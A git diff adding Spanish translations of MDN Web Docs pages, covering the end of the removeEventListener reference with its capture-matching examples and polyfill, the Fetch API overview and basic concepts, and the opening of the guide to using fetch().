+ <dd>Especifíca si el {{domxref("EventListener")}} que se está eliminando fue registrado como un detector de captura o no. Si no se indica, por defecto <code>useCapture</code> asumirá el valor <code>false</code>.</dd>
+ <dd>Si un detector se registro dos veces, uno con captura y otro sin, cada uno debe ser eliminado por separado. La eliminación de un detector de captura no afecta a una versión de "no-captura" del mismo detector, y viceversa.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Coincidiendo_disparadores_de_evento_para_su_eliminación">Coincidiendo disparadores de evento para su eliminación</h3>
+
+<p>Habiendose añadido detector de evento llamando {{domxref("EventTarget.addEventListener", "addEventListener()")}}, puede llegar un punto donde se requiera eliminar. Obviamente, se necesita especificar los mismos parámetros de <code>tipo</code> y <code>listener</code> a <code>removeEventListener()</code>, pero que hay acerca de los parámetros de <code>options</code> o de <code>useCapture</code>?</p>
+
+<p>Mientras <code>addEventListener()</code> permite añadir el mismo detector más de una vez para el mismo tipo, si la opción es diferente, la única opción que <code>removeEventListener()</code> revisará es la bandera de <code>capture</code>/<code>useCapture</code>. Su valor debe coincidir con <code>removeEventListener()</code> para coincidir, pero otros valores no necesitan corresponder.</p>
+
+<p>Por ejemplo, considerar la siguiente llamada a <code>addEventListener()</code>:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">element<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"mousedown"</span><span class="punctuation token">,</span> handleMouseDown<span class="punctuation token">,</span> <span class="boolean token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Ahora, considera  <code>removeEventListener()</code>:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">element<span class="punctuation token">.</span><span class="function token">removeEventListener</span><span class="punctuation token">(</span><span class="string token">"mousedown"</span><span class="punctuation token">,</span> handleMouseDown<span class="punctuation token">,</span> <span class="boolean token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>     <span class="comment token">// Fallo</span>
+element<span class="punctuation token">.</span><span class="function token">removeEventListener</span><span class="punctuation token">(</span><span class="string token">"mousedown"</span><span class="punctuation token">,</span> handleMouseDown<span class="punctuation token">,</span> <span class="boolean token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>      <span class="comment token">// Éxito</span></code></pre>
+
+<p>La primera llamada falla porque el valor de <code>useCapture</code> no coincide. El segundo valor funciona, puesto que <code>useCapture</code> es igual a su valor cuando se añadió el detector.</p>
+
+<p>Ahora considera lo siguiente:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">element<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"mousedown"</span><span class="punctuation token">,</span> handleMouseDown<span class="punctuation token">,</span> <span class="punctuation token">{</span> passive<span class="punctuation token">:</span> <span class="boolean token">true</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Aqui, especificamos un objeto <code>options</code> en el cual <code>passive</code> esta definido como <code>true</code>, mientras que otras opciones son dejados con su valor por defecto de <code>false</code>.</p>
+
+<p>Vea consecutivamente, cada una de las siguientes llamadas a  <code>removeEventListener()</code>. Cualquiera de éstas donde <code>capture</code> o <code>useCapture</code> es <code>true</code> falla; en todas las demás funciona. Solo la configuración <code>capture</code> importa a <code>removeEventListener()</code>.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">element<span class="punctuation token">.</span><span class="function token">removeEventListener</span><span class="punctuation token">(</span><span class="string token">"mousedown"</span><span class="punctuation token">,</span> handleMouseDown<span class="punctuation token">,</span> <span class="punctuation token">{</span> passive<span class="punctuation token">:</span> <span class="boolean token">true</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>     <span class="comment token">// Funciona</span>
+element<span class="punctuation token">.</span><span class="function token">removeEventListener</span><span class="punctuation token">(</span><span class="string token">"mousedown"</span><span class="punctuation token">,</span> handleMouseDown<span class="punctuation token">,</span> <span class="punctuation token">{</span> capture<span class="punctuation token">:</span> <span class="boolean token">false</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>    <span class="comment token">// Funciona</span>
+element<span class="punctuation token">.</span><span class="function token">removeEventListener</span><span class="punctuation token">(</span><span class="string token">"mousedown"</span><span class="punctuation token">,</span> handleMouseDown<span class="punctuation token">,</span> <span class="punctuation token">{</span> capture<span class="punctuation token">:</span> <span class="boolean token">true</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>     <span class="comment token">// Falla</span>
+element<span class="punctuation token">.</span><span class="function token">removeEventListener</span><span class="punctuation token">(</span><span class="string token">"mousedown"</span><span class="punctuation token">,</span> handleMouseDown<span class="punctuation token">,</span> <span class="punctuation token">{</span> passive<span class="punctuation token">:</span> <span class="boolean token">false</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>    <span class="comment token">// Funciona</span>
+element<span class="punctuation token">.</span><span class="function token">removeEventListener</span><span class="punctuation token">(</span><span class="string token">"mousedown"</span><span class="punctuation token">,</span> handleMouseDown<span class="punctuation token">,</span> <span class="boolean token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span>                 <span class="comment token">// Funciona</span>
+element<span class="punctuation token">.</span><span class="function token">removeEventListener</span><span class="punctuation token">(</span><span class="string token">"mousedown"</span><span class="punctuation token">,</span> handleMouseDown<span class="punctuation token">,</span> <span class="boolean token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>                  <span class="comment token">// Falla</span></code></pre>
+
+<p>Vale la pena mencionar que algunos navegadores tienen un comportamiento inconsistente, y a menos que se tengan razones específicas, es probablemente una buena idea usar los mismos valores usados por la llamada a <code>addEventListener()</code> al momento de utilizar <code>removeEventListener()</code>.</p>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Si un {{ domxref("EventListener") }} es removido de un {{ domxref("EventTarget") }} cuando aún se está procesando el evento, no será ejecutado. Después de ser removido, un {{ domxref("EventListener") }} no será invocado por el evento al cual se registró, sin embargo se podrá adjuntar de nuevo a dicho evento.</p>
+
+<p>Llamar {{ domxref("<code>removeEventListener</code>") }}  en algún {{ domxref("EventTarget") }} que no contenga el {{ domxref("EventListener") }} especificado será un acción sin efecto, es decir, se podrá llamar {{ domxref("<code>removeEventListener</code>") }} sin efectos negativos en los scripts.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este es un ejemplo en donde se agrega y después se elimina un {{ domxref("EventListener") }} </p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> body <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'body'</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+    clickTarget <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'click-target'</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+    mouseOverTarget <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'mouse-over-target'</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+    toggle <span class="operator token">=</span> <span class="boolean token">false</span><span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">makeBackgroundYellow</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="string token">'use strict'</span><span class="punctuation token">;</span>
+
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>toggle<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        body<span class="punctuation token">.</span>style<span class="punctuation token">.</span>backgroundColor <span class="operator token">=</span> <span class="string token">'white'</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+        body<span class="punctuation token">.</span>style<span class="punctuation token">.</span>backgroundColor <span class="operator token">=</span> <span class="string token">'yellow'</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+
+    toggle <span class="operator token">=</span> <span class="operator token">!</span>toggle<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+clickTarget<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span>
+    makeBackgroundYellow<span class="punctuation token">,</span>
+    <span class="boolean token">false</span>
+<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+mouseOverTarget<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'mouseover'</span><span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="string token">'use strict'</span><span class="punctuation token">;</span>
+
+    clickTarget<span class="punctuation token">.</span><span class="function token">removeEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span>
+        makeBackgroundYellow<span class="punctuation token">,</span>
+        <span class="boolean token">false</span>
+    <span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-EventTarget-removeEventListener", "EventTarget.removeEventListener()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad de los navegadores</h2>
+
+
+
+<p>{{Compat("api.EventTarget.removeEventListener", 3)}}</p>
+
+<ul>
+</ul>
+
+<h2 id="Polyfill_to_support_older_browsers">Polyfill to support older browsers</h2>
+
+<p><code>addEventListener()</code> and <code>removeEventListener()</code> are not present in older browsers. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>addEventListener()</code> and <code>removeEventListener()</code> in implementations which do not natively support it. However, this method will not work on Internet Explorer 7 or earlier, since extending the Element.prototype was not supported until Internet Explorer 8.</p>
+
+<pre class="brush: js">if (!Element.prototype.addEventListener) {
+  var oListeners = {};
+  function runListeners(oEvent) {
+    if (!oEvent) { oEvent = window.event; }
+    for (var iLstId = 0, iElId = 0, oEvtListeners = oListeners[oEvent.type]; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) {
+        for (iLstId; iLstId &lt; oEvtListeners.aEvts[iElId].length; iLstId++) { oEvtListeners.aEvts[iElId][iLstId].call(this, oEvent); }
+        break;
+      }
+    }
+  }
+  Element.prototype.addEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (oListeners.hasOwnProperty(sEventType)) {
+      var oEvtListeners = oListeners[sEventType];
+      for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+        if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+      }
+      if (nElIdx === -1) {
+        oEvtListeners.aEls.push(this);
+        oEvtListeners.aEvts.push([fListener]);
+        this["on" + sEventType] = runListeners;
+      } else {
+        var aElListeners = oEvtListeners.aEvts[nElIdx];
+        if (this["on" + sEventType] !== runListeners) {
+          aElListeners.splice(0);
+          this["on" + sEventType] = runListeners;
+        }
+        for (var iLstId = 0; iLstId &lt; aElListeners.length; iLstId++) {
+          if (aElListeners[iLstId] === fListener) { return; }
+        }
+        aElListeners.push(fListener);
+      }
+    } else {
+      oListeners[sEventType] = { aEls: [this], aEvts: [ [fListener] ] };
+      this["on" + sEventType] = runListeners;
+    }
+  };
+  Element.prototype.removeEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (!oListeners.hasOwnProperty(sEventType)) { return; }
+    var oEvtListeners = oListeners[sEventType];
+    for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+    }
+    if (nElIdx === -1) { return; }
+    for (var iLstId = 0, aElListeners = oEvtListeners.aEvts[nElIdx]; iLstId &lt; aElListeners.length; iLstId++) {
+      if (aElListeners[iLstId] === fListener) { aElListeners.splice(iLstId, 1); }
+    }
+  };
+}
+</pre>
+
+<h3 id="Example" name="Example"></h3>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ domxref("EventTarget.addEventListener()") }}.</li>
+ <li>{{non-standard_inline}}{{domxref("EventTarget.detachEvent()")}}.</li>
+</ul>
diff --git a/files/es/web/api/fetch_api/conceptos_basicos/index.html b/files/es/web/api/fetch_api/conceptos_basicos/index.html
new file mode 100644
index 0000000000..8c02021de6
--- /dev/null
+++ b/files/es/web/api/fetch_api/conceptos_basicos/index.html
@@ -0,0 +1,73 @@
+---
+title: Conceptos básicos de Fetch
+slug: Web/API/Fetch_API/Conceptos_basicos
+tags:
+  - API
+  - API Fetch
+  - Fetch
+  - conceptos
+  - guard
+  - request
+translation_of: Web/API/Fetch_API/Basic_concepts
+---
+<p>{{DefaultAPISidebar("Fetch API")}}{{draft}}</p>
+
+<div class="summary">
+<p>La <a href="/en-US/docs/Web/API/Fetch_API">API Fetch</a> proporciona una interfaz para obtener recursos (incluso a traves de la red). Parecera familiar a quien sea que haya usado {{domxref("XMLHttpRequest")}}, pero proporciona un conjunto de características más potentes y flexibles. Este artículo explica algunos de los conceptos básicos de la API Fetch.</p>
+</div>
+
+<div class="note">
+<p>Este artículo será añadido en un futuro. Si encuenta un concepto de Fetch que siente necesita una mejor explicación, hagalo saber a alguien en el <a href="https://discourse.mozilla-community.org/c/mdn">foro de discusión de </a><a href="https://discourse.mozilla-community.org/c/mdn">MDN</a>, o <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> (#mdn room.)</p>
+</div>
+
+<h2 id="En_pocas_palabras">En pocas palabras</h2>
+
+<p>En el corazón de Fetch estan las abstracciones de interfaz de cargas de HTTP {{domxref("Request")}}s, {{domxref("Response")}}s, {{domxref("Headers")}}, y {{domxref("Body")}}, junto a un método {{domxref("GlobalFetch.fetch","global fetch")}} para inicializar peticiones de recurso asíncronos. Porque los prinipales componentes de HTTP son abstraídos como objetos Javascript, es sencillo para otras APIs el hacer uso de dicha funcionalidad.</p>
+
+<p><a href="/en-US/docs/Web/API/ServiceWorker_API">Service Workers</a> es un ejemplo de una API que hace un fuerte uso de Fetch.</p>
+
+<p>Fetch toma la naturaleza asíncrona de dichas peticiones un paso adelante. La API esta completamente basada en {{jsxref("Promise")}}.</p>
+
+<h2 id="Guard">Guard</h2>
+
+<p>Guard es una característica de objetos {{domxref("Headers")}}, con los valores posibles <code>immutable</code>, <code>request</code>, <code>request-no-cors</code>, <code>response</code>, o <code>none</code>, dependiendo de donde el encabezado es usado.</p>
+
+<p>Cuando un nuevo objeto {{domxref("Headers")}} es creado usando el {{domxref("Headers.Headers","Headers()")}} {{glossary("constructor")}}, su guarda (guard) se establece a <code>none</code> (por defecto). Cuando un objeto {{domxref("Request")}} o {{domxref("Response")}} es creado, tiene un objeto  {{domxref("Headers")}} asociado cuyo guarda (guard) se establece como se resume a continuación:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">nuevo tipo de objeto</th>
+   <th scope="col">creando el constructor</th>
+   <th scope="col">configuraciones de guarda (guard) del objeto {{domxref("Headers")}} asociado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td rowspan="2">{{domxref("Request")}}</td>
+   <td>{{domxref("Request.Request","Request()")}}</td>
+   <td><code>request</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Request.Request","Request()")}} con {{domxref("Request.mode","mode")}} de <code>no-cors</code></td>
+   <td><code>request-no-cors</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">{{domxref("Response")}}</td>
+   <td>{{domxref("Response.Response","Response()")}}</td>
+   <td><code>response</code></td>
+  </tr>
+  <tr>
+   <td>Métodos {{domxref("Response.error","error()")}} o {{domxref("Response.redirect","redirect()")}}</td>
+   <td><code>immutable</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Un guarda (guard) de encabezado afecta los métodos {{domxref("Headers.set","set()")}}, {{domxref("Headers.delete","delete()")}}, y {{domxref("Headers.append","append()")}} que cambían los contenidos del encabezado. Un <code>TypeError</code> es arrojado si se trata modificar un objeto {{domxref("Headers")}} cuyo guarda (guard) es <code>immutable</code>. Sin embargo, la operación funcionará si</p>
+
+<ul>
+ <li>guard es <code title="">request</code> y el nombre del encabezado no es un {{Glossary("forbidden header name")}} .</li>
+ <li>guard es <code title="">request-no-cors</code> y el encabezado <var>nombre/valor</var> es un {{Glossary("simple header")}} .</li>
+ <li>guard es <code title="">response</code> y el <var>nombre </var>del encabezado no es {{Glossary("forbidden response header name")}}.</li>
+</ul>
diff --git a/files/es/web/api/fetch_api/index.html b/files/es/web/api/fetch_api/index.html
new file mode 100644
index 0000000000..13c733a799
--- /dev/null
+++ b/files/es/web/api/fetch_api/index.html
@@ -0,0 +1,81 @@
+---
+title: Fetch API
+slug: Web/API/Fetch_API
+translation_of: Web/API/Fetch_API
+---
+<p>{{DefaultAPISidebar("Fetch API")}}<br>
+ La API Fetch proporciona una interfaz para recuperar recursos (incluso a través de la red). Resultará familiar a cualquiera que haya usado {{domxref("XMLHttpRequest")}}, pero la nueva API ofrece un conjunto de características más potente y flexible.</p>
+
+<h2 id="Conceptos_y_uso">Conceptos y uso</h2>
+
+<p>Fetch ofrece una definición genérica de los objetos {{domxref("Request")}} y {{domxref("Response")}} (y otras cosas relacionadas con las solicitudes de red). Esto permitirá su uso donde sea necesario en un futuro, ya sea para operadores de servicios, API caché y otras cosas similares que manipulen o modifiquen las solicitudes y respuestas, o cualquier otro tipo de caso de uso que pudiera requerirle la generación de sus propias respuestas mediante programación.</p>
+
+<p>También proporciona una definición para conceptos relacionados, como CORS y la semántica de encabezado HTTP origen, suplantando sus definiciones separadas en otros lugares.</p>
+
+<p>Para hacer una solicitud y recuperar un recurso, utilice el método {{domxref("GlobalFetch.fetch")}}. Se implementa en múltiples interfaces, específicamente {{domxref("Window")}} y {{domxref("WorkerGlobalScope")}}. Esto hace que esté disponible en casi cualquier contexto donde quiera buscar recursos.</p>
+
+<p>El método <code>fetch()</code> toma un argumento obligatorio, la ruta de acceso al recurso que desea recuperar. Devuelve una {{domxref("Promise")}} que resuelve en {{domxref("Response")}} a esa petición, sea o no correcta. También puede pasar opcionalmente un objeto de opciones init como segundo argumento (ver {{domxref("Request")}}).</p>
+
+<p>Una vez que {{domxref("Response")}} es recuperada, hay varios métodos disponibles para definir cuál es el contenido del cuerpo y como se debe manejar (ver {{domxref("Body")}}).</p>
+
+<p>Puede crear una solicitud y respuesta directamente a con los constructores {{domxref("Request.Request","Request()")}} y {{domxref("Response.Response","Response()")}}, pero no es recomendable hacerlo directamente. En su lugar, es preferible que sean creados como resultado de otras acciones de la API (por ejemplo, {{domxref("FetchEvent.respondWith")}} desde los operadores de servicios).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puede encontrar mas información sobre las características de la API Fetch en <a href="/en-US/docs/Web/API/Fetch_API/Using_Fetch">Usando Fetch</a>, y aprender los conceptos en <a href="/en-US/docs/Web/API/Fetch_API/Basic_concepts">Fetch: conceptos básicos</a>.</p>
+</div>
+
+<h3 id="Abortar_una_petición">Abortar una petición</h3>
+
+<p>Los navegadores han empezado a añadir soporte experimental para las interfaces {{domxref("AbortController")}} y {{domxref("AbortSignal")}} (Conocidas también como La API Abort), las cuales permiten que operaciones como Fetch y XHR puedan ser abortadas si no han terminado todavía. Visita las páginas de las interfaces para más detalles.</p>
+
+<h2 id="Fetch_Interfaces_o_Métodos">Fetch Interfaces o Métodos</h2>
+
+<dl>
+ <dt>{{domxref("GlobalFetch")}}</dt>
+ <dd>Contiene el método <code>fetch()</code> utilizado para obtener o inicializar un recurso.</dd>
+ <dt>{{domxref("Headers")}}</dt>
+ <dd>Representa los encabezados de la respuesta/solicitud, lo que le permite consultar y tomar diferentes acciones en función de los resultados.</dd>
+ <dt>{{domxref("Request")}}</dt>
+ <dd>Representa una solicitud de recursos.</dd>
+ <dt>{{domxref("Response")}}</dt>
+ <dd>Representa la respuesta a una solicitud.</dd>
+</dl>
+
+<h2 id="Fetch_mixin">Fetch mixin</h2>
+
+<dl>
+ <dt>{{domxref("Body")}}</dt>
+ <dd>Proporciona métodos relacionados con el contenido de la respuesta/solicitud, lo que le permite declarar cuál es su tipo y cómo debe manejarse.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch polyfill</a></li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API/Basic_concepts">Fetch basic concepts</a></li>
+ <li><a href="http://davidwalsh.name/fetch">Fetch API Examples</a></li>
+</ul>
diff --git a/files/es/web/api/fetch_api/utilizando_fetch/index.html b/files/es/web/api/fetch_api/utilizando_fetch/index.html
new file mode 100644
index 0000000000..0f647a7e61
--- /dev/null
+++ b/files/es/web/api/fetch_api/utilizando_fetch/index.html
@@ -0,0 +1,377 @@
+---
+title: Uso de Fetch
+slug: Web/API/Fetch_API/Utilizando_Fetch
+tags:
+  - API
+  - BODY
+  - Experimental
+  - Fetch
+  - Guía
+  - HTTP
+  - Petición
+  - Promesa
+  - Promise
+  - Respuesta
+translation_of: Web/API/Fetch_API/Using_Fetch
+---
+<p>{{DefaultAPISidebar("Fetch API")}}{{ SeeCompatTable }}</p>
+
+<div class="summary">
+<p>La <a href="/en-US/docs/Web/API/Fetch_API">API Fetch</a> proporciona una interfaz JavaScript para acceder y manipular partes del canal HTTP, tales como peticiones y respuestas. También provee un método global {{domxref("GlobalFetch.fetch","fetch()")}} que proporciona una forma fácil y lógica de obtener recursos de forma asíncrona por la red.</p>
+</div>
+
+<p>Este tipo de funcionalidad se conseguía previamente haciendo uso de {{domxref("XMLHttpRequest")}}. Fetch proporciona una alternativa mejor que puede ser empleada fácilmente por otras tecnologías como {{domxref("ServiceWorker_API", "Service Workers")}}. Fetch también aporta un único lugar lógico en el que definir otros conceptos relacionados con HTTP como CORS y extensiones para HTTP.</p>
+
+<p>La especificación fetch difiere de <code>JQuery.ajax()</code> en dos formas principales:</p>
+
+<ul>
+ <li>
+  <p>El objeto Promise devuelto desde <code>fetch()</code> <strong>no será rechazado con un estado de error HTTP</strong> incluso si la respuesta es un error HTTP 404 o 500. En cambio, este se resolverá normalmente (con un estado <code>ok</code> configurado a false), y  este solo sera rechazado ante un fallo de red o si algo impidió completar la solicitud.</p>
+ </li>
+ <li>Por defecto, <code>fetch</code> no enviará ni recibirá cookies del servidor, resultando en peticiones no autenticadas si el sitio permite mantentener una sesión de usuario (para mandar cookies, <em>credentials</em> de la opción <a href="https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch#Parameters">init</a> deberan ser configuradas). Desde <a href="https://github.com/whatwg/fetch/pull/585">el 25 de agosto de 2017</a>. La especificación cambió la politica por defecto de las credenciales a <code>same-origin</code>. Firefox cambió desde la versión 61.0b13.</li>
+</ul>
+
+<p>Una petición básica de <code>fetch</code> es realmente simple de realizar. Eche un vistazo al siguente código:</p>
+
+<pre class="notranslate">fetch('http://example.com/movies.json')
+  .then(response =&gt; response.json())
+  .then(data =&gt; console.log(data));</pre>
+
+<p>Aquí estamos recuperando un archivo JSON a través de red e impriminedo en la consola. El uso de <code>fetch()</code> más simple toma un argumento (la ruta del recurso que quieres buscas) y devuelve un objeto Promise conteniendo la respuesta, un objeto {{domxref("Response")}}.</p>
+
+<p>Esto es, por supuesto, una respuesta HTTP no el archivo JSON. Para extraer el contenido en el cuerpo del JSON desde la respuesta, usamos el método {{domxref("Body.json","json()")}} (definido en el <a href="https://es.wikipedia.org/wiki/Mixin">mixin</a> de {{domxref("Body")}}, el cual está implementado por los objetos {{domxref("Request")}} y {{domxref("Response")}}).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: El mixin de <code>Body</code> tambien tiene metodos parecidos para extraer otros tipos de contenido del cuerpo. Vease {{anch("Body")}} para más información.</p>
+</div>
+
+<p>Las peticiones de Fetch son controladas por la directiva de <code>connect-src</code> de <a href="https://developer.mozilla.org/en-US/docs/Security/CSP/CSP_policy_directives">Content Security Policy</a> en vez de la directiva de los recursos que se han devuelto.</p>
+
+<h3 id="Suministrando_opciones_de_petición">Suministrando opciones de petición</h3>
+
+<p>El método <code>fetch()</code> puede aceptar opcionalmente un segundo parámetro, un objeto <code>init</code> que permite controlar un numero de diferentes ajustes:</p>
+
+<p>Vea {{domxref("GlobalFetch.fetch","fetch()")}}, para ver todas las opciones disponibles y más detalles.</p>
+
+<pre class="notranslate">// Ejemplo implementando el metodo POST:
+async function postData(url = '', data = {}) {
+  // Opciones por defecto estan marcadas con un *
+  const response = await fetch(url, {
+    method: 'POST', // *GET, POST, PUT, DELETE, etc.
+    mode: 'cors', // no-cors, *cors, same-origin
+    cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
+    credentials: 'same-origin', // include, *same-origin, omit
+    headers: {
+      'Content-Type': 'application/json'
+      // 'Content-Type': 'application/x-www-form-urlencoded',
+    },
+    redirect: 'follow', // manual, *follow, error
+    referrerPolicy: 'no-referrer', // no-referrer, *no-referrer-when-downgrade, origin, origin-when-cross-origin, same-origin, strict-origin, strict-origin-when-cross-origin, unsafe-url
+    body: JSON.stringify(data) // body data type must match "Content-Type" header
+  });
+  return response.json(); // parses JSON response into native JavaScript objects
+}
+
+postData('https://example.com/answer', { answer: 42 })
+  .then(data =&gt; {
+    console.log(data); // JSON data parsed by `data.json()` call
+  });</pre>
+
+<p>Tenga en cuenta que  <code>mode: "no-cors"</code> solo permite un conjunto limitado de encabezados en la solicitud:</p>
+
+<ul>
+ <li><code>Accept</code></li>
+ <li><code>Accept-Language</code></li>
+ <li><code>Content-Language</code></li>
+ <li><code>Content-Type</code> with a value of <code>application/x-www-form-urlencoded</code>, <code>multipart/form-data</code>, or <code>text/plain</code></li>
+</ul>
+
+<h3 id="Comprobando_que_la_petición_es_satisfactoria">Comprobando que la petición es satisfactoria</h3>
+
+<p>Una petición promise {{domxref("GlobalFetch.fetch","fetch()")}} será rechazada con {{jsxref("TypeError")}} cuando se encuentre un error de red, aunque esto normalmente significa problemas de permisos o similares — por ejemplo, un 404 no constituye un error de red. Una forma precisa de comprobar que la petición <code>fetch()</code> es satisfactoria pasa por comprobar si la promesa ha sido resuelta, además de comprobar que la propiedad {{domxref("Response.ok")}} tiene el valor <code>true</code> que indica que el estado de la petición HTTP es OK (código 200-299). El código sería algo así:</p>
+
+<pre class="brush: js notranslate">fetch('flores.jpg').then(function(response) {
+  if(response.ok) {
+    response.blob().then(function(miBlob) {
+      var objectURL = URL.createObjectURL(miBlob);
+      miImagen.src = objectURL;
+    });
+  } else {
+    console.log('Respuesta de red OK pero respuesta HTTP no OK');
+  }
+})
+.catch(function(error) {
+  console.log('Hubo un problema con la petición Fetch:' + error.message);
+});</pre>
+
+<h3 id="Proporcionando_tu_propio_objeto_Request">Proporcionando tu propio objeto Request</h3>
+
+<p>En lugar de pasar la ruta al recurso que deseas solicitar a la llamada del método <code>fetch()</code>, puedes crear un objeto de petición utilizando el constructor {{domxref("Request.Request","Request()")}}, y pasarlo como un argumento del método <code>fetch()</code>:</p>
+
+<pre class="brush: js notranslate">var myHeaders = new Headers();
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', myInit);
+
+fetch(myRequest)
+.then(function(response) {
+  return response.blob();
+})
+.then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+});</pre>
+
+<p><code>Request()</code> acepta exactamente los mismos parámetros que el método <code>fetch()</code>. Puedes incluso pasar un objeto de petición existente para crear una copia del mismo:</p>
+
+<pre class="brush: js notranslate">var anotherRequest = new Request(myRequest, myInit);</pre>
+
